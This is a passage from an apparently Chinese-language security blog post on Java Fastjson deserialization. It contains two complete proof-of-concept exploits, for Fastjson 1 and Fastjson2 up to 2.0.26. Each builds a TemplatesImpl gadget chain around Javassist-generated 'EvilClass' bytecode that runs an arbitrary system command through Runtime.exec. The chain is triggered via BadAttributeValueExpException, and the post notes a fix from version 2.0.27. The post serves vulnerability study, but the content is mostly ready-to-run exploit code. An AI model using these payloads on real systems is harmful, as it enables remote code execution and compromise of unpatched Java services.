import org.apache.ibatis.javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;

public class FastJson1 {
public static Object getObject(String cmd) throws Exception {
byte[] classByteCode = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classByteCode});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

JSONArray array = new JSONArray();
array.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", array);

ArrayList<Object> list = new ArrayList<Object>();
list.add(templates);
list.add(exception);

return list;
}

public static byte[] getPayload(String cmd) throws Exception {
Object object = getObject(cmd);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);

return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("calc");

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

/**
* 使用 Javassist 生成一个恶意类字节码:
* - 类名 EvilClass
* - 继承 AbstractTranslet(必须,否则不会被选为“主类”实例化)
* - 构造器里执行命令
*/
private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

// 创建类 EvilClass
CtClass ctClass = pool.makeClass("EvilClass");

// 构造器:一旦实例化,就会执行系统命令
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
ctClass.addConstructor(constructor);

// 设置 class 文件版本,49 对应 Java 5,兼容性更好
ctClass.getClassFile().setMajorVersion(49);

// 设置父类为 AbstractTranslet(必须继承它才能被实例化)
CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

// 返回生成的字节码数组
return ctClass.toBytecode();
}

/**
* 通过反射修改对象的私有字段值
*/
private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true); // 绕过 private 限制
field.set(object, value); // 设置字段值
}
}

Fastjson2(≤ 2.0.26)

与 Fastjson1 相同,只不过依赖改为了:

1
2
3
4
5
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.26</version>
</dependency>

poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;
import org.apache.ibatis.javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class FastJson2 {
public static Object getObject(String cmd) throws Exception {
byte[] classByteCode = getEvilClass(cmd);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classByteCode});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

JSONArray array = new JSONArray();
array.add(templates);

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
setFieldValue(exception, "val", array);

return exception;
}

public static byte[] getPayload(String cmd) throws Exception {
Object object = getObject(cmd);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);

return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args)throws Exception {
byte [] payload = getPayload("calc");

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

/**
* 使用 Javassist 生成一个恶意类字节码:
* - 类名 EvilClass
* - 继承 AbstractTranslet(必须,否则不会被选为“主类”实例化)
* - 构造器里执行命令
*/
private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

// 创建类 EvilClass
CtClass ctClass = pool.makeClass("EvilClass");

// 构造器:一旦实例化,就会执行系统命令
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
ctClass.addConstructor(constructor);

// 设置 class 文件版本,49 对应 Java 5,兼容性更好
ctClass.getClassFile().setMajorVersion(49);

// 设置父类为 AbstractTranslet(必须继承它才能被实例化)
CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superC);

// 返回生成的字节码数组
return ctClass.toBytecode();
}

/**
* 通过反射修改对象的私有字段值
*/
private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true); // 绕过 private 限制
field.set(object, value); // 设置字段值
}
}

2.0.27 版本开始,JSON#toString 不再调用 JSON#toJSONString,因此该利用链失效。

1
2
3
4
5
6
7
public String toString() {
try (JSONWriter writer = JSONWriter.of()) {
writer.setRootObject(this);
writer.write(this);
return writer.toString();
}
}
  • Title: Java FastJson
  • Author: sky123
  • Created at : 2025-09-09 00:45:24
  • Updated at : 2025-09-18 23:01:28
  • Link: https://skyi23.github.io/2025/09/09/Java FastJson/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments